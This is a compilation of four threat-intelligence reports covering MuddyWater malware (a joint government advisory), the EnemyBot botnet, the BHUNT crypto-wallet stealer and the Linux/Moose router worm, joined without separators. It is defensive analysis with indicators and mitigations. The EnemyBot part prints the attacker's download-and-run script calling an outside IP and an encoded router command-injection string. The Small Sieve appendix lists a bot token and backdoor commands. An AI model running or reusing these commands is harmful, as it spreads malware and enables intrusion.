This document is marked TLP:WHITE. Disclosure is not limited. Sources may use TLP:WHITE when information carries minimal or no foreseeable risk of misuse, in accordance with applicable rules and procedures for public release. Subject to standard copyright rules, TLP:WHITE information may be distributed without restriction.
## Actions to Take Today to Protect Against Malicious Activity
- Search for indicators of compromise.
- Use antivirus software.
- Patch all systems.
- Prioritize patching known exploited vulnerabilities.
- Train users to recognize and report phishing attempts.
- Use multi-factor authentication.
MuddyWater actors are known to exploit publicly reported vulnerabilities and use open-source tools and strategies to gain access to sensitive data on victims’ systems and deploy ransomware. These actors also maintain persistence on victim networks via tactics such as side-loading dynamic link libraries (DLLs) to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide command and control (C2) functions.
FBI, CISA, CNMF, and NCSC-UK have observed MuddyWater actors recently using various malware—variants of PowGoop, Small Sieve, Canopy (also known as Starwhale), Mori, and POWERSTATS—along with other tools as part of their malicious activity. This advisory provides observed tactics, techniques, and procedures (TTPs); malware; and indicators of compromise (IOCs) associated with this Iranian government-sponsored APT activity to aid organizations in the identification of malicious activity against sensitive networks.
FBI, CISA, CNMF, NCSC-UK, and the National Security Agency (NSA) recommend organizations apply the mitigations in this advisory and review the following resources for additional information:
- Malware Analysis Report – MAR-10369127.r1.v1: MuddyWater
- IOCs – AA22-055A.stix and MAR-10369127.r1.v1.stix
- CISA's webpage – Iran Cyber Threat Overview and Advisories
- NCSC-UK MAR – Small Sieve
- CNMF's press release – Iranian intel cyber suite of malware uses open source tools
## TECHNICAL DETAILS
FBI, CISA, CNMF, and NCSC-UK have observed the Iranian government-sponsored MuddyWater APT group employing spearphishing, exploiting publicly known vulnerabilities, and leveraging multiple open-source tools to gain access to sensitive government and commercial networks.
As part of its spearphishing campaign, MuddyWater attempts to coax their targeted victim into downloading ZIP files, containing either an Excel file with a malicious macro that communicates with the actor’s C2 server or a PDF file that drops a malicious file to the victim’s network. MuddyWater actors also use techniques such as side-loading DLLs to trick legitimate programs into running malware and obfuscating PowerShell scripts to hide C2 functions.
Additionally, the group uses multiple malware sets—including PowGoop, Small Sieve, Canopy/Starwhale, Mori, and POWERSTATS—for loading malware, backdoor access, persistence, and exfiltration.
### PowGoop
MuddyWater actors use new variants of PowGoop malware as their main loader in malicious operations; it consists of a DLL loader and a PowerShell-based downloader. The malicious file impersonates a legitimate file that is signed as a Google Update executable file. According to samples of PowGoop analyzed by CISA and CNMF, PowGoop consists of three components:
- A DLL file renamed as a legitimate filename, Goopdate.dll, to enable the DLL side-loading technique. The DLL file is contained within an executable, GoogleUpdate.exe.
- A PowerShell script, obfuscated as a .dat file, goopdate.dat, used to decrypt and run a second obfuscated PowerShell script, config.txt.
- config.txt, an encoded, obfuscated PowerShell script containing a beacon to a hardcoded IP address.
These components retrieve encrypted commands from a C2 server. The DLL file hides communications with MuddyWater C2 servers by executing with the Google Update service.
### Small Sieve
According to a sample analyzed by NCSC-UK, Small Sieve is a simple Python backdoor distributed using a Nullsoft Scriptable Install System (NSIS) installer, gram_app.exe. The NSIS installs the Python backdoor, index.exe, and adds it as a registry run key, enabling persistence. MuddyWater disguises malicious executables and uses filenames and Registry key names associated with Microsoft's Windows Defender to avoid detection during casual inspection.
Small Sieve provides basic functionality required to maintain and expand a foothold in victim infrastructure and avoid detection by using custom string and traffic obfuscation schemes together with the Telegram Bot application programming interface (API). Specifically, Small Sieve’s beacons and taskings are performed using Telegram API over Hypertext Transfer Protocol Secure (HTTPS), and the tasking and beaconing data is obfuscated through a hex byte swapping encoding scheme combined with an obfuscated Base64 function.
### Canopy
MuddyWater also uses Canopy/Starwhale malware, likely distributed via spearphishing emails with targeted attachments. According to two Canopy/Starwhale samples analyzed by CISA, Canopy uses Windows Script File (.wsf) scripts distributed by a malicious Excel file. In the samples CISA analyzed, a malicious Excel file, Cooperation terms.xls, contained macros written in Visual Basic for Applications (VBA) and two encoded Windows Script Files. When the victim opens the Excel file, they receive a prompt to enable macros. Once this occurs, the macros are executed, decoding and installing the two embedded Windows Script Files.
### Mori
MuddyWater also uses the Mori backdoor that uses Domain Name System tunneling to communicate with the group’s C2 infrastructure. According to one sample analyzed by CISA, FML.dll, Mori uses a DLL written in C++ that is executed with regsvr32.exe with export DllRegisterServer; this DLL appears to be a component to another program.
### POWERSTATS
This group is also known to use the POWERSTATS backdoor, which runs PowerShell scripts to maintain persistent access to the victim systems. CNMF has posted samples further detailing the different parts of MuddyWater’s new suite of tools to the malware aggregation tool and repository, Virus Total. Network operators who identify multiple instances of the tools on the same network should investigate further as this may indicate the presence of an Iranian malicious cyber actor.
MuddyWater actors are also known to exploit unpatched vulnerabilities as part of their targeted operations. FBI, CISA, CNMF, and NCSC-UK have observed this APT group recently exploiting the Microsoft Netlogon elevation of privilege vulnerability (CVE-2020-1472) and the Microsoft Exchange memory corruption vulnerability (CVE-2020-0688).
## MITRE ATT&CK TECHNIQUES
MuddyWater uses the ATT&CK techniques listed in the following table:
| Technique Title | ID | Use |
|------------------|----|-----|
| Gather Victim Identity Information: Email Addresses | T1589.002 | MuddyWater has specifically targeted government agency employees with spearphishing emails. |
| Acquire Infrastructure: Web Services | T1583.006 | MuddyWater has used file sharing services including OneHub to distribute tools. |
| Obtain Capabilities: Tool | T1588.002 | MuddyWater has made use of legitimate tools ConnectWise and RemoteUtilities for access to target environments. |
| Phishing: Spearphishing Attachment | T1566.001 | MuddyWater has compromised third parties and used compromised accounts to send spearphishing emails with targeted attachments. |
| Phishing: Spearphishing Link | T1566.002 | MuddyWater has sent targeted spearphishing emails with malicious links. |
| Windows Management Instrumentation | T1047 | MuddyWater has used malware that leveraged Windows Management Instrumentation for execution and querying host information. |
| Command and Scripting Interpreter: PowerShell | T1059.001 | MuddyWater has used PowerShell for execution. |
| Command and Scripting Interpreter: Windows | T1059.003 | MuddyWater has used a custom tool for creating reverse shells. |
| Command and Scripting Interpreter: Visual Basic | T1059.005 | MuddyWater has used Virtual Basic Script (VBS) files to execute its POWERSTATS payload, as well as macros. |
| Command and Scripting Interpreter: Python | T1059.006 | MuddyWater has used developed tools in Python including Out1. |
| Command and Scripting Interpreter: JavaScript | T1059.007 | MuddyWater has used JavaScript files to execute its POWERSTATS payload. |
| Exploitation for Client Execution | T1203 | MuddyWater has exploited the Office vulnerability CVE-2017-0199 for execution. |
| User Execution: Malicious Link | T1204.001 | MuddyWater has distributed URLs in phishing emails that link to lure documents. |
| User Execution: Malicious File | T1204.002 | MuddyWater has attempted to get users to enable macros and launch malicious Microsoft Word documents delivered via spearphishing emails. |
| Inter-Process Communication: Component Object Model | T1559.001 | MuddyWater has used malware that has the capability to execute malicious code via COM, DCOM, and Outlook. |
| Inter-Process Communication: Dynamic Data Exchange | T1559.002 | MuddyWater has used malware that can execute PowerShell scripts via Dynamic Data Exchange. |
| Scheduled Task/Job: Scheduled Task | T1053.005 | MuddyWater has used scheduled tasks to establish persistence. |
| Office Application Startup: Office Template | T1137.001 | MuddyWater has used a Word Template, Normal.dotm, for persistence. |
| Execution: Registry Run Keys | T1547.001 | MuddyWater has added Registry Run key KCU\Software\Microsoft\Windows\CurrentVersion\Run\SystemTextEncoding to establish persistence. |
| Abuse Elevation Control Mechanism: Bypass User Account Control | T1548.002 | MuddyWater uses various techniques to bypass user account control. |
| OS Credential Dumping: LSASS Memory | T1003.001 | MuddyWater has performed credential dumping with Mimikatz and procdump64.exe. |
| OS Credential Dumping: LSA Secrets | T1003.004 | MuddyWater has performed credential dumping with LaZagne. |
| OS Credential Dumping: Cached Domain Credentials | T1003.005 | MuddyWater has performed credential dumping with LaZagne. |
| Unsecured Credentials: Credentials In Files | T1552.001 | MuddyWater has run a tool that steals passwords saved in victim email. |
| System Network Configuration Discovery | T1016 | MuddyWater has used malware to collect the victim’s IP address and domain name. |
| System Owner/User Discovery | T1033 | MuddyWater has used malware that can collect the victim’s username. |
| System Network Connections Discovery | T1049 | MuddyWater has used a PowerShell backdoor to check for Skype connections on the target machine. |
| Process Discovery | T1057 | MuddyWater has used malware to obtain a list of running processes on the system. |
| System Information Discovery | T1082 | MuddyWater has used malware that can collect the victim’s OS version and machine name. |
| File and Directory Discovery | T1083 | MuddyWater has used malware that checked if the ProgramData folder had folders or files with the keywords "Kasper," "Panda," or "ESET." |
| Account Discovery: Domain Account | T1087.002 | MuddyWater has used cmd.exe net user/domain to enumerate domain users. |
| Software Discovery | T1518 | MuddyWater has used a PowerShell backdoor to check for Skype connectivity on the target machine. |
| Security Software Discovery | T1518.001 | MuddyWater has used malware to check running processes against a hard-coded list of security tools often used by malware researchers. |
| Screen Capture | T1113 | MuddyWater has used malware that can capture screenshots of the victim’s machine. |
| Exfiltration Over C2 Channel | T1041 | MuddyWater has used C2 infrastructure to receive exfiltrated data. |
## MITIGATIONS
### Protective Controls and Architecture
- Deploy application control software to limit the applications and executable code that can be run by users. Email attachments and files downloaded via links in emails often contain executable code.
### Identity and Access Management
- Use multifactor authentication where possible, particularly for webmail, virtual private networks, and accounts that access critical systems.
- Limit the use of administrator privileges. Users who browse the internet, use email, and execute code with administrator privileges make for excellent spearphishing targets because their system—once infected—enables attackers to move laterally across the network, gain additional accesses, and access highly sensitive information.
### Phishing Protection
- Enable antivirus and anti-malware software and update signature definitions in a timely manner. Well-maintained antivirus software may prevent use of commonly deployed attacker tools that are delivered via spearphishing.
- Be suspicious of unsolicited contact via email or social media from any individual you do not know personally. Do not click on hyperlinks or open attachments in these communications.
- Consider adding an email banner to emails received from outside your organization and disabling hyperlinks in received emails.
- Train users through awareness and simulations to recognize and report phishing and social engineering attempts. Identify and suspend access of user accounts exhibiting unusual activity.
- Adopt threat reputation services at the network device, operating system, application, and email service levels. Reputation services can be used to detect or prevent low-reputation email addresses, files, URLs, and IP addresses used in spearphishing attacks.
### Vulnerability and Configuration Management
- Install updates/patch operating systems, software, and firmware as soon as updates/patches are released. Prioritize patching known exploited vulnerabilities.
## ADDITIONAL RESOURCES
- For more information on Iranian government-sponsored malicious cyber activity, see CISA's webpage – Iran Cyber Threat Overview and Advisories and CNMF's press release – Iranian intel cyber suite of malware uses open source tools.
- For information and resources on protecting against and responding to ransomware, refer to StopRansomware.gov, a centralized, whole-of-government webpage providing ransomware resources and alerts.
- The joint advisory from the cybersecurity authorities of Australia, Canada, New Zealand, the United Kingdom, and the United States: Technical Approaches to Uncovering and Remediating Malicious Activity provides additional guidance when hunting or investigating a network and common mistakes to avoid in incident handling.
- CISA offers a range of no-cost cyber hygiene services to help critical infrastructure organizations assess, identify, and reduce their exposure to threats, including ransomware. By requesting these services, organizations of any size could find ways to reduce their risk and mitigate attack vectors.
- The U.S. Department of State’s Rewards for Justice (RFJ) program offers a reward of up to $10 million for reports of foreign government malicious activity against U.S. critical infrastructure.
## REFERENCES
1. CNMF Article: Iranian Intel Cyber Suite of Malware Uses Open Source Tools
2. MITRE ATT&CK: MuddyWater
## CAVEATS
The information you have accessed or received is being provided “as is” for informational purposes only. The FBI, CISA, CNMF, and NSA do not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the FBI, CISA, CNMF, or NSA.
## PURPOSE
This document was developed by the FBI, CISA, CNMF, NCSC-UK, and NSA in furtherance of their respective cybersecurity missions, including their responsibilities to develop and issue cybersecurity specifications and mitigations. This information may be shared broadly to reach all appropriate stakeholders. The United States’ NSA agrees with this attribution and the details provided in this report.
## APPENDIX A: IOCs
The following IP addresses are associated with MuddyWater activity:
- 5.199.133[.]149
- 45.142.213[.]17
- 45.142.212[.]61
- 45.153.231[.]104
- 46.166.129[.]159
- 80.85.158[.]49
- 87.236.212[.]22
- 88.119.170[.]124
- 88.119.171[.]213
- 89.163.252[.]232
- 95.181.161[.]49
- 95.181.161[.]50
- 164.132.237[.]65
- 185.25.51[.]108
- 185.45.192[.]228
- 185.117.75[.]34
- 185.118.164[.]21
- 185.141.27[.]143
- 185.141.27[.]248
- 185.183.96[.]7
- 185.183.96[.]44
- 192.210.191[.]188
- 192.210.226[.]128
## APPENDIX B: SMALL SIEVE
Note: the information contained in this appendix is from NCSC-UK analysis of a Small Sieve sample.
### Metadata
| Filename | Description | Size | MD5 | SHA-1 | SHA-256 | Compile Time |
|----------|-------------|------|-----|-------|---------|--------------|
| gram_app.exe | NSIS installer that installs and runs the index.exe backdoor and adds a persistence registry key | 16999598 bytes | 15fa3b32539d7453a9a85958b77d4c95 | 11d594f3b3cf8525682f6214acb7b7782056d282 | b75208393fa17c0bcbc1a07857686b8c0d7e0471d00a167a07fd0d52e1fc9054 | 2021-09-25 21:57:46 UTC |
| index.exe | The final PyInstaller-bundled Python 3.9 backdoor | 17263089 bytes | 5763530f25ed0ec08fb26a30c04009f1 | 2a6ddf89a8366a262b56a251b00aafaed5321992 | bf090cf7078414c9e157da7002ca727f06053b39fa4e377f9a0050f2af37d3a2 | 2021-08-01 04:39:46 UTC |
### Functionality
**Installation**
Small Sieve is distributed as a large (16MB) NSIS installer named gram_app.exe, which does not appear to masquerade as a legitimate application. Once executed, the backdoor binary index.exe is installed in the user’s AppData/Roaming directory and is added as a Run key in the registry to enable persistence after reboot. The installer then executes the backdoor with the “Platypus” argument, which is also present in the registry persistence key: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift.
**Configuration**
The backdoor attempts to restore previously initialized session data from %LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt. If this file does not exist, then it uses the hardcoded values listed in the following table:
| Field | Value | Description |
|-------|-------|-------------|
| Chat ID | 2090761833 | This is the Telegram Channel ID that beacons are sent to, and from which, tasking requests are received. Tasking requests are dropped if they do not come from this channel. This value cannot be changed. |
| Bot ID | Random value between 10,000,000 and 90,000,000 | This is a bot identifier generated at startup that is sent to the C2 in the initial beacon. Commands must be prefixed with /com[Bot ID] in order to be processed by the malware. |
| Telegram Token | 2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY | This is the initial token used to authenticate each message to the Telegram Bot API. |
**Tasking**
Small Sieve beacons via the Telegram Bot API, sending the configured Bot ID, the currently logged-in user, and the host’s IP address. It then waits for tasking as a Telegram bot using the python-telegram-bot module. Two task formats are supported:
- /start – no argument is passed; this causes the beacon information to be repeated.
- /com[BotID] [command] – for issuing commands passed in the argument.
The following commands are supported by the second of these formats:
- delete: This command causes the backdoor to exit; it does not remove persistence.
- download “url” filename: The URL will be fetched and saved to the provided filename using the Python urllib module.
- change token “newtoken”: The backdoor will reconnect to the Telegram Bot API using the provided token newtoken. This updated token will be stored in the encoded MicrosoftWindowsOutlookDataPlus.txt file.
- disconnect: The original connection to Telegram is terminated. It is likely used after a change token command is issued.
Any commands other than those detailed are executed directly by passing them to cmd.exe /c, and the output is returned as a reply.
**Defense Evasion**
Threat actors may be attempting to thwart simple analysis by not passing “Platypus” on the command line. Internal strings and new Telegram tokens are stored obfuscated with a custom alphabet and Base64-encoded.
**Communications**
Before listening for tasking using CommandHandler objects from the python-telegram-bot module, a beacon is generated manually using the standard requests library. The hex host data is encoded using the byte shuffling algorithm.
### Detection
The following table outlines indicators of compromise.
| Type | Description | Values |
|------|-------------|--------|
| Path | Telegram Session Persistence File (Obfuscated) | %LocalAppData%\MicrosoftWindowsOutlookDataPlus.txt |
| Path | Installation path of the Small Sieve binary | %AppData%\OutlookMicrosift\index.exe |
| Registry value name | Persistence Registry Key pointing to index.exe with a “Platypus” argument | HKCU\Software\Microsoft\Windows\CurrentVersion\Run\OutlookMicrosift | |
# Detecting EnemyBot – Securonix Initial Coverage Advisory
By Securonix Threat Labs, Threat Research: Oleg Kolesnikov, Den Iuzvyk, and Tim Peck
## Introduction
Our researchers have identified EnemyBot, a brand new Linux-based botnet. At first glance and by analyzing the initial infection, it appears to cover a wide range of devices and platforms. This report covers technical details including its origin and functionality.
## Initial Infection
The initial infection was identified making a drive-by attempt to /shell at a web server with an interesting payload attached to the “value” string. We saw several attempts to download an “update.sh” file using different methods: wget, busybox, and curl.
Taking a closer look at the update.sh script, the malware attempts to download 13 different ELF binaries each compiled for different system architectures. The appended architecture type is appended to the end of the name “enemybot”. Given the wide range of supported architectures, at first glance this botnet should be effective against Linux-based hosts ranging from servers to IoT devices.
- enemybotmips
- enemybotmpsl
- enemybotsh4
- enemybotx86
- enemybotarm7
- enemyboti686
- enemybotppc
- enemyboti586
- enemybotm68k
- enemybotspc
- enemybotarm
- enemybotarm5
- enemybotppc-440fp
Each line of the script attempts to download (again using various methods), set permissions to execute (777), execute from /tmp/ and then delete the original ELF binary.
```bash
wget http://198.12.116.254/folder/enemybotx86 -o enemybotx86
busybox wget http://198.12.116.254/folder/enemybotx86 -o enemybotx86
curl http://198.12.116.254/folder/enemybotx86 -o enemybotx86
busybox curl http://198.12.116.254/folder/enemybotx86 -o enemybotx86
ftpget -v -u anonymous -p anonymous -P 21 198.12.116.254 enemybotx86 enemybotx86
busybox ftpget -v -u anonymous -p anonymous -P 21 198.12.116.254 enemybotx86 enemybotx86
chmod 777 enemybotx86
./enemybotx86
rm -rf enemybotx86
```
## Stage 2 – Pulling Back the Curtain
First, we’ll take a look at the “enemybotx86” file that is the system architecture that we’re working on as it would land us the most success when executing it in a sandbox.
According to exiftool, the file is indeed a binary executable file in the ELF format (Linux executable). Just to get a general idea as to what this binary might be doing, we’ll run it against strings and look for anything interesting. The word “enemy” appears to pop up again and again, and in one case is hex formatted.
Some other noteworthy and rather curious strings include:
- /Game/Mods/TheCenter/TheCenter_A1_NearB
- /Game/Maps/TheIslandSubMaps/MasterIBLCaptures
- /Game/Maps/TheIslandSubMaps/E3_Far_WIP
- echo -e “\x65\x6e\x65\x6d\x79”
- cmac=12%%3Aaf%%3Aaa%%3Abb%%3Acc%%3Add&submit_button=status_guestnet.asp%%0A
- wget+http%%3A%%2F%%2F198.12.116.254%%2Fupdate.sh+-O-+%%7C+sh%%0Aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa%%10%%A6G%%00&cip=192.168.100.1
Determined we already have an instance running on this system! Binded and listening on address %d.%d.%d.%d. Looking for function names, one that stood out was “whatudoinglookingatdis”. Maybe a hello to future researchers?
Scrubbing the file in a decompile, it appears to feature a host of networking options such as port scanners, TCP/UDP flood options and general system enumeration. Much of the code appears to be encrypted and we encountered some counter forensics which can make static analysis problematic.
The EnemyBot malware also appears to have the ability to steal data via HTTP POST, which in our case, the malware was sending the data back to the original IP address. Just by looking at the export names, we definitely get a better understanding as to what this particular botnet is capable of.
Upon further analysis, we find some interesting flags which appear to be passed in as arguments. Some of these include Destination IP, Source IP, Destination Port, Source Port, Data Payload, and Packet Count. The malware also initiates system checks to determine whether or not the malware is already running. After the instance starts there are two possible outputs:
- “Determined we already have an instance running…”
- “Binded and listen on address %d.%d.%d.%d.\n”
Dynamic Analysis of the EnemyBot malware did not provide anything useful as the malware seems to have killed itself soon after execution. There appear to be some baked-in counter forensics that kill the application based on certain detected process names.
## Conclusion
The EnemyBot malware appears to follow similar structures and patterns we’ve seen with other common botnets, with a few changes. There appears to be strong correlation to that of the LolFMe botnet which contains other similar strings such as “watudoinglookingatdis”. The LolFMe botnet was quite short-lived and was never popular so it will be interesting to see how far off the ground this particular strain takes us. Both LolFMe and Mirai botnets leverage multi-architecture support and RCE as the initial foothold. This was also the case for EnemyBot.
## Mitigation – Securonix Recommendations
Some possible actions are recommended that can potentially help proactively mitigate the impact of the EnemyBot attacks on your network:
- Ensure systems are fully patched and not vulnerable to RCE
- Patch IoT devices’ firmware to the latest versions to mitigate external exploitation
- Employ the usage of layer-7 network monitoring and detection to detect common exploits that may leverage RCE
- Ensure that externally exposed network segments are isolated from internal hosts
- Disable or limit execution from linux /tmp/ directories
## Detection and Indicators of Compromise (IoCs):
| File Name | sha256 |
|-------------------|-------------------------------------------------------------------------------------------|
| update.sh | cc36cc84d575e953359d82e8716c37ba2cbf20c6d63727ca9e83b53493509723 |
| enemybotarm | 52421da5ee839c9bde689312ff35f10e9bcab7edccc12ee1fe16630e20531aaf |
| | adb51a8d112590a6fdd02ac8d812b837bbe0fcdd762dba6bbba0bd0b538f9aef |
| enemybotarm5 | 498ecf2ce03960a695d4ba92d4d2e6163917686db29393c4b8d8c9d11d19774d |
| | 5e56210f15b653e4ea881f25bfa423af4f4c5ee3a7c9386543fde23e0e7169c8 |
| enemybotarm7 | 7ccffe7a3daa58db665db93f816ab0b5a4e9ce0bc7a2490d885250d267ed4bbc |
| | 7635758818ca966288ad10fb3d385c177f8cd5554369eeb28f8b52951004ed89 |
| enemyboti586 | f3c4ca5ba23d27a4d297dfef8614b48bbaca6455814d537114f4e6d418f10f47 |
| | d9204c9b5018a3028d5c7f966d8c37be9d7d4dd2c5c4cd95cde686cce655c609 |
| enemyboti686 | ae9cc1b644ee435bddc57af2eeab05fb0ba0dc2f81473611bd2f39c1d9be1d1c |
| | d0b9e7bbf034e501872ecb276b3b670ae175fff09618d9836356d47f677bdbbc |
| enemybotm68k | 5dba7e81c4a03eedee4a33535cfda88d8d178658d0e434ee48bd29d7091c63b5 |
| | e4bdf0d87db133824ff183c28c860c08794394eaaf76898899cbeb5f9749ae1f |
| enemybotmips | 22db83f9cc631eb3222444328289a3be787c3a8182ccd8004c6cc2b5dc50a12d |
| | aeb9f6999fdc3a3dadbe93ff8a1a2de3ac181b43eddcf208c018db88526b5314 |
| enemybotmpsl | c275a1ec95142b7134d7beb153e6126bda9087c152e69497f1990c39d5045399 |
| | 6dbb0e96180d0946ddd9ff17908cf830fbff5016ff013891e3fdf3c3b33ef2e6 |
| enemybotppc | ea2ff0c01629bdaecceecc59d93de73f01b7b18146986be114503c086fa29976 |
| | 7ec1fab277b86e022819c9b5a53be05df2af76c5c19b2aa1cf26590d06dcdbcd |
| enemybotppc-440fp | 908a95c887d4c46e5058db09e85efba023219793b54b5cd7ea03e1b450784111 |
| | a33145dc629c7ca76dc5ec0138fe60b06e8c53bd01f1bb90d9a7e21ff0a391e6 |
| enemybotsh4 | 9bb46cfa321d5aa65960fa4563a50eec40de4e221e360162bae4b4e4b40a3540 |
| | 058d36172d25e7b3db227c02ffba5be3d1b17d0eef7bfd4029c55b16ac2ab06b |
| enemybotspc | f36ade94ba4261fdff37d53c7d7c4935374d9263ec4fe92d2bb6c1def5f0783f |
| | b2c92609557eaabe108689a17996befeabb48da70053ae6335a1fcd0c1189249 |
| enemybotx86 | 1a7316d9bb8449cf93a19925c470cc4dbfd95a99c03b10f4038bb2a517d6ed50 |
| | 12e907fae4427a7b0d68adfb33a5e045971bd755f8b7a48299a27736c24c9929 |
## IP Communication observed:
- 198.12.116.254
Please look out for updates on search queries and detection content from Securonix Threat Labs. We also invite you to send your questions regarding any security advisories to the Securonix Critical Intelligence Advisory team and look forward to being of assistance. |
# New BHUNT Malware Targets Your Crypto Wallets and Passwords
A novel modular crypto-wallet stealing malware dubbed 'BHUNT' has been spotted targeting cryptocurrency wallet contents, passwords, and security phrases. This is yet another crypto-stealer added to a large pile of malware that targets digital currency, but it is worth special attention due to its stealthiness.
## Infection Vector
The discovery and analysis of the new BHUNT malware come from Bitdefender, who shared their findings with Bleeping Computer before publishing. To evade detection and triggering security warnings, BHUNT is packed and heavily encrypted using Themida and VMProtect, two virtual machine packers that hinder reverse-engineering and analysis by researchers. The threat actors signed the malware executable with a digital signature stolen from Piriform, the makers of CCleaner. However, as the malware developers copied it from an unrelated executable, it's marked as invalid due to a binary mismatch.
Bitdefender discovered that BHUNT is injected into explorer.exe and is likely delivered to the compromised system via KMSpico downloads, a popular utility for illegally activating Microsoft products. KMS (Key Management Services) is a Microsoft license activation system that software pirates frequently abuse to activate Windows and Office products. BleepingComputer recently reported a similar case of malicious KMSPico activators dropping cryptocurrency-wallet stealers to pirates' systems. This malware has been detected worldwide, with its greatest concentration of infected users in India.
## BHUNT Modules
The main component of BHUNT is 'mscrlib.exe,' which extracts further modules that are launched on an infected system to perform different malicious behavior. Each module is designed for a specific purpose ranging from stealing cryptocurrency wallets to stealing passwords. Using a modular approach, the threat actors can customize BHUNT for different campaigns or easily add new features. The current modules included in the BHUNT 'mscrlib.exe' executable are described below:
- **blackjack** – steals wallet file contents, encodes it with base 64, and uploads it to the C2 server
- **chaos_crew** – downloads payloads
- **golden7** – steals passwords from the clipboard and uploads the files to the C2 server
- **Sweet_Bonanza** – steals information from browsers (Chrome, IE, Firefox, Opera, Safari)
- **mrpropper** – cleans up traces (argument files)
The targeted wallets are Exodus, Electrum, Atomic, Jaxx, Ethereum, Bitcoin, and Litecoin. Once the threat actor gains access to the wallet's seed or configuration file, they can use it to import the wallet on their own devices and steal the contained cryptocurrency. Although BHUNT's focus is clearly financial, its information-stealing capabilities could enable its operators to gather much more than just crypto-wallet data.
"While the malware primarily focuses on stealing information related to cryptocurrency wallets, it can also harvest passwords and cookies stored in browser caches," explains Bitdefender's report. "This might include account passwords for social media, banking, etc. that might even result in an online identity takeover."
To avoid being infected by BHUNT, you should simply avoid downloading pirated software, cracks, and illegitimate product activators. As it's been proven repeatedly, the projected financial savings from using pirated software are insignificant compared to the damage they can cause to infected systems. |
# Dissecting Linux/Moose
## The Analysis of a Linux Router-based Worm
### Hungry for Social Networks
**Olivier Bilodeau & Thomas Dupuy**
May 2015
## Executive Summary
Linux/Moose is a malware family that primarily targets Linux-based consumer routers but can infect other Linux-based embedded systems in its path. The compromised devices are used to steal unencrypted network traffic and offer proxying services to the botnet operator. These capabilities are used to steal HTTP cookies on popular social network sites and perform fraudulent actions such as non-legitimate "follows," "views," and "likes."
Linux/Moose is a standard statically-linked ELF binary that was stripped of any debugging symbols. It relies heavily on multithreading for its operation, using as many as 36 threads. Most of these threads are used to find and infect other devices automatically.
The threat displays out-of-the-ordinary network penetration capabilities compared to other router-based malware. Moose also has DNS hijacking capabilities and will kill the processes of other malware families competing for the limited resources offered by the infected embedded system.
ESET researchers ran and monitored a Moose-infected environment and collected operational information about the threat, including which social networks were targeted and the unencrypted interactions between the operators, the infected host, and the targeted social networks.
Linux/Moose does not have a persistence mechanism and does not provide a generic backdoor shell access to the botnet operator. No vulnerability is exploited at any time during its operation; it spreads by finding routers with weak credentials.
This report contains an overview of the operation and an in-depth analysis of the threat, details of its network protocol, indicators of compromise (IoC), cleaning instructions, prevention advice, and the list of potentially targeted vendors.
### Key findings
- Linux/Moose targets consumer routers and modems, including hardware provided by Internet Service Providers (ISPs) to consumers.
- The threat is built for deep network penetration, spreading past firewalls.
- It can eavesdrop on communications to and from devices connected behind the infected router, including desktops, laptops, and mobile phones.
- Moose runs a comprehensive proxy service (SOCKS and HTTP) that can be accessed only by a specific list of IP addresses.
- The operators use the infected devices to perform social network fraud on Twitter, Facebook, Instagram, YouTube, and more.
- Moose can be configured to reroute router DNS traffic, enabling man-in-the-middle attacks from across the Internet.
- It affects Linux-based embedded devices running on the MIPS and ARM architectures.
## Hunting Season
### Introduction
At ESET, we like to investigate exotic threats. Whether they run on atypical architectures like MIPS or ARM, or they target embedded networked devices like consumer routers or Internet of Things (IoT) devices instead of desktops or phones, these threats arouse our curiosity. The threat under study here fits all the above categories.
This report is divided into two sections: a description of what we know about the operation, followed by a detailed technical description of the threat.
### Moose’s Behavior
#### An Overview
The high-level capabilities of this worm are:
- Replicate on the Internet and by way of any LAN interfaces behind firewalls.
- Service listening on port 10073 that allows specific IP addresses to proxy through the infected device. HTTP/HTTPS and SOCKS proxying.
- Tunnel traffic from a relay C&C server to other hosts (effectively circumventing NAT protections).
- Eavesdrop on network communications and send some of the captured traffic to a report C&C server.
- Periodically kill processes launched by competing embedded malware.
Interestingly, missing from this list is the persistence mechanism (there isn’t any) and the fact that no generic backdoor shell access is made available to the botnet operator.
Last but not least, this threat spreads only by compromising systems with weak or default credentials.
### Moose Herding
#### The Operation
When looking at the broad possibilities of this malware, it is not immediately obvious what its exact purpose is. It could go in many directions, from DDoS to compromise of networks, expose private servers to the operator (via proxy), steal important yet unencrypted traffic, or perform man-in-the-middle attacks via DNS hijacking.
This threat is all about social network fraud. Analysis of the configuration indicated that the data the bot is trying to steal is HTTP cookies from popular social networks:
- Twitter: twll, twid
- Facebook: c_user
- Instagram: ds_user_id
- Google: SAPISID, APISID
- Google Play / Android: LAY_ACTIVE_ACCOUNT
- YouTube: LOGIN_INFO
Additionally, by monitoring one infected router, we were able to establish the nature of the traffic proxied through these routers.
During our monitoring, the top 3 targets were Twitter, Instagram, and Soundcloud.
### Moose DNA
#### Malware Analysis
Linux/Moose is a statically linked ELF binary without debugging symbols. It uses µClibc as its C library. It relies heavily on multithreading with more than 30 running simultaneously during a usual infection.
We classified Moose as a worm since it attempts to replicate automatically.
The scanner performs the following operations on each IP. First, it checks if it can connect on TCP port 10073. If it can perform a full TCP handshake, it will disconnect right away and consider that the host is already infected and will report it as such to the report C&C server.
If there is no connection possible to TCP port 10073, it tries to connect to the Telnet service of that IP (TCP port 23). It will attempt to brute-force the login prompt with a username and password combination list it received from the configuration C&C server.
The infection process will start after a successful Telnet login.
### Moose’s Sense of Smell
Linux/Moose is able to eavesdrop on traffic going through affected devices. This capability is particularly interesting considering that routers often forward all sorts of traffic.
The thread dedicated to eavesdropping creates a raw socket, sets the interface in promiscuous mode, then loops on a recvfrom.
The sniffer threads are configured to search for specific strings in the network traffic, such as:
- twll=
- twid=
- LOGIN_INFO=
- c_user=
- ds_user_id=
- SAPISID=
- APISID=
- PLAY_ACTIVE_ACCOUNT=
Once a match is found, the whole packet is sent, obfuscated, to the report C&C server.
### Competitive Moose
Moose is a combative animal. Every hour, it goes through every process entry and searches thoroughly through the cmdline file. It will send a kill signal to any process that matches any of the blacklisted strings related to digital currency mining operations.
### Moose Communication
We are giving a detailed description of the network protocol to enable affected organizations to apply this knowledge to their defense mechanism.
